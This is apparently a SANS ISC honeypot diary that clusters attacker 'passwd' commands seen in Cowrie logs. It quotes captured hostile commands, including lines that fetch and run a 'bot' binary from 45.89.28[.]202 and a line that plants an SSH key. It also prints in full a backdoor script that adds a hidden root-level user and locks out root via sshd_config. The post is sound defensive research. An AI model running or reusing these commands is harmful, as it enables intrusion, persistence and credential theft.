Usage of "passwd" Command in DShield Honeypots
DShield honeypots [1] receive different types of attack traffic and the volume of that traffic can change over time. I've been collecting data from a half dozen honeypots for a little over a year to make comparisons. This data includes:
- Cowrie logs [2], which contain SSH and telnet attacks
- Web honeypot logs
- Firewall logs (iptables)
- Packet captures using tcpdump
The highest volume of activity has been for my residentially hosted honeypot.
Figure 1: Cowrie log volume by honeypot starting on 4/21/2024, covering approximately 1 year.
The data is processed with some python scripts to identity data clusters and outliers [3]. This weekend I learned that there is only so much memory you can throw at a probelm before you need to consider a different strategy for analyzing data. While doing clustering of unique commands submitted to my honeypots, my python script crashed. It left me with a problem on what do to next. One of the options that I had was to try and look at a subset of the command data. But what subset?
Something that was interesting when previously reviewing the data was how many different kinds of password change attempts happened on honeypots. This was one of the reasons that I tried to do clustering in the first place. I wanted to be able to group similar commands, even if there were deviations, such as the username and password attempted for a password change command.
A summary of the data volume for submitted commands ("input" field in Cowrie data):
Unique commands: 536,508
Unique commands with "passwd
" used: 502,846
Percentage of commands with "passwd" included: 93.73%
Considering that 94% of the unique commands submitted had something to do with "passwd
", I decided to filter those out, which would allow me to cluster the remaining data without any memory errors. That still left how to review this password data and look for similar clusters. My solution was simply to sort the data alphabetically and take every third value for analysis.
# sort pandas dataframe using the "input" column
unique_commands_passwd = unique_commands_passwd.sort_values(by='input')
# take every third value from the dataframe and store it in a new datafame for analysis
unique_commands_passwd_subset = unique_commands_passwd.iloc[::3, :]
This allowed me to process the data, but it does have some shortcomings. If there were three adjacent entries that may have been outliers or unique clusters, some of that data would get filtered out. Another option in this case could be to randomly sample the data.
From this clustering process, 17 clusters emerged. Below are examples from each cluster.
Command | Cluster |
---|---|
apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 45ukd2Re) system && sudo usermod -aG sudo system |
0 |
echo "czhou\np2mk0NIg9gRF\np2mk0NIg9gRF\n"|passwd |
1 |
echo "$#@!QWER$#@!REWQFDSAVCXZ\nougti9mT9YAa\nougti9mT9YAa\n"|passwd |
2 |
echo "540df7f83845146f0287ff6d2da77900\nE3oSNKfWpq1s\nE3oSNKfWpq1s\n"|passwd |
3 |
echo "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW\n"|passwd |
4 |
echo "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm\n"|passwd |
5 |
echo "root:ddKCQwpLRc9Q"|chpasswd|bash |
6 |
echo -e "Passw0rd\ndljyjtNPLEwI\ndljyjtNPLEwI"|passwd|bash |
7 |
echo -e "xmrmining@isntprofitable\n7UrX3NlsBj6i\n7UrX3NlsBj6i"|passwd|bash |
8 |
echo -e "540df7f83845146f0287ff6d2da77900\nHB15VQlzOyOo\nHB15VQlzOyOo"|passwd|bash |
9 |
echo -e "A@0599343813A@0599343813A@0599343813\nymL1D2CvlBlW\nymL1D2CvlBlW"|passwd|bash |
10 |
echo -e "ItsemoemoWashere2023support\nnZsvXDsxcCEm\nnZsvXDsxcCEm"|passwd|bash |
11 |
lscpu && echo -e "yNHYAVV3\nyNHYAVV3" | passwd && curl https://ipinfo.io/org --insecure -s && free -h && apt |
12 |
lscpu | grep "CPU(s): " && echo -e "5XHeUh9gNe76\n5XHeUh9gNe76" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; |
13 |
lscpu | grep "CPU(s): " && echo -e "9nz66TbaU9Y8\n9nz66TbaU9Y8" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34[.]237 -j DROP; iptables -A INPUT -s 186.2.171[.]36 -j DROP |
14 |
lscpu | grep "CPU(s): " && echo -e "Gr7gWzAzts5y\nGr7gWzAzts5y" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34.237 -j DROP |
15 |
openssl passwd -1 45ukd2Re |
16 |
Figure 2: Sampling of commands with "passwd" used for each cluster identified.
Some of these could probably be clustered better with different feature selections, but it's still a nice grouping. I was a bit more interested in what the outliers looked like (cluster=-1
).
Figure 3: Clustering outliers highlighting some more unique entries.
Commands |
---|
|
; arch_info=$(uname -m); cpu_count=$(nproc); gpu_count=$(lspci | egrep -i 'nvidia|amd' | grep -e VGA -e 3D | wc -l); echo -e "YnEGa37O\nYnEGa37O" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; if [ $? -eq 0 ]; then; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; ssh_status="success"; else; ssh_status="failed"; fi; users=$(cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -v /bin/sync | grep -v /sbin/shutdown | grep -v /sbin/halt | cut -d: -f1 | sort); echo "$arch_info:$cpu_count:$gpu_count:$users:$ssh_status"; |
ps -HewO lstart ex;echo finalshell_separator;ls --color=never -l /proc/*/exe;echo finalshell_separator;cat /etc/passwd;echo finalshell_separator;ip addr;echo finalshell_separator;pwd;echo finalshell_separator;uname -s;uname -n;uname -r;uname -v;uname -m;uname -p;uname -i;uname -o;echo finalshell_separator;cat /etc/system-release;cat /etc/issue;echo finalshell_separator;cat /proc/cpuinfo;echo finalshell_separator; |
Figure 4: Commands that looked more unique among the cluster outliers.
These were much more interesting, especially the first one since I was anticipating to find a reference for the script somewhere, but have found anything. The full script here:
#!/bin/bash
username="local"
version="1.3"
if [ "$EUID" -ne 0 ]; then
echo "[-] Run as root!"
exit
fi
getent passwd $username > /dev/null
if [ $? -eq 0 ]; then
echo "[-] Username $username is already being used!"
exit
fi
echo "[+] SSH Vaccine Script v$version"
os=`lsb_release -is 2>/dev/null || echo unknown`
cpus=`lscpu 2>/dev/null | egrep "^CPU\(s\):" | sed -e "s/[^0-9]//g" || nproc 2>/dev/null || echo 0`
# Create the backdoor username.
echo "[!] Create username $username with administrator privilege."
if [ ! -d /home ]; then
mkdir /home
echo "[!] Folder /home was created."
fi
passwd=$(timeout 10 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
h="$pwhash"
if [ -x "$(command -v openssl)" ]; then
h=$(echo $passwd | openssl passwd -1 -stdin)
else
passwd="$pw"
fi
useradd $username -o -u 0 -g 0 -c "local" -m -d /home/$username -s /bin/bash -p "$h"
if ! grep -q "^$username:" /etc/passwd;then
echo "cannot add user"
exit
fi
if [ -x "$(command -v ed)" ]; then
printf "%s\n" '$m1' wq | ed /etc/passwd -s
printf "%s\n" '$m1' wq | ed /etc/shadow -s
else
lo=$(tail -1 /etc/passwd)
sed -i "/^$username:/d" /etc/passwd
sed -i "/^root:.*:0:0:/a $lo" /etc/passwd
lo=$(tail -1 /etc/shadow)
sed -i "/^$username:/d" /etc/shadow
sed -i "/^root:/a $lo" /etc/shadow
fi
echo "[!] Generated password: $passwd"
echo "[!] Set the profile."
echo "unset HISTFILE" >> /home/$username/.bashrc
echo 'export PS1="\[$(tput setaf 2)\][\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 2)\]\u@\h \W\[$(tput sgr0)\]\[$(tput setaf 2)\]]\[$(tput sgr0)\]\[$(tput bold)\]\[$(tput setaf 7)\]\\$ \[$(tput sgr0)\]"' >> /home/$username/.bashrc
echo "cd /var/www/httpd" >> /home/$username/.bashrc
echo "w" >> /home/$username/.bashrc
echo "################################################################################"
echo "#######################################################################" > /tmp/sshd_config_tmp
echo "# ! ! ! ! ! IMPORTANT ! ! ! ! ! #" >> /tmp/sshd_config_tmp
echo "# * Your system has detected a weak password for root account and for #" >> /tmp/sshd_config_tmp
echo "# security reasons, remote access via SSH has been blocked to prevent #" >> /tmp/sshd_config_tmp
echo "# unauthorized access. In order to enable again remote access to this #" >> /tmp/sshd_config_tmp
echo "# machine for root user via SSH, set a new complex password for root #" >> /tmp/sshd_config_tmp
echo "# account and delete 'DenyUsers root' line below on this config file. #" >> /tmp/sshd_config_tmp
echo "# * Restarting the SSH Daemon is required for changes to take effect. #" >> /tmp/sshd_config_tmp
echo "# #" >> /tmp/sshd_config_tmp
echo "# Bash commands: #" >> /tmp/sshd_config_tmp
echo "# passwd root (Changes your root password). #" >> /tmp/sshd_config_tmp
echo "# service sshd restart (Restart the SSH Daemon). #" >> /tmp/sshd_config_tmp
echo "DenyUsers root" >> /tmp/sshd_config_tmp
echo "#######################################################################" >> /tmp/sshd_config_tmp
cat /etc/ssh/sshd_config >> /tmp/sshd_config_tmp
yes | cp /tmp/sshd_config_tmp /etc/ssh/sshd_config > /dev/null 2>&1
rm -rf /tmp/sshd_config_tmp
systemctl restart ssh || systemctl restart sshd || service ssh restart || service sshd restart || /etc/init.d/ssh restart || /etc/init.d/sshd restart
if [ $? -eq 0 ];then
echo "SSHD restarted"
else
echo "SSHD error"
fi
ip=$ip
echo "[!] IP: $ip"
# Try to get a hostname from IP.
dns=`getent hosts $ip | awk '{print $2}'`
if [ -z "$dns" ]
then
dns=null
fi
echo "[!] DNS: $dns"
# Get country name from IP.
country=`wget -qO- https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || curl -ks -m30 https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || echo X`
echo "[!] List of usernames on this machine:"
ls /home | awk '{print $1}'
echo "[!] List of ethernet IP addresses:"
ip addr show | grep -o "inet [0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | grep -o "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*"
echo "################################################################################"
# Print all info necessary about the machine.
echo ""
uname -a
echo "$username $passwd $h"
echo "$ip,$dns,root,$username,$passwd,$cpus,$os,$country"
echo ""
echo "################################################################################"
I have only seen this command once on my Digital Ocean honeypot on 9/13/2024 from 194.169.175.107. I'll dive into the script and some of the other activity from this host in a future diary.
The clustering exercise helped to find one item that was unqiue out of over 500,000 values. This was a good lesson for me to find ways to sample data and save memory resources.
[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/cowrie/cowrie
[3] https://isc.sans.edu/diary/31050
--
Jesse La Grew
Handler
Comments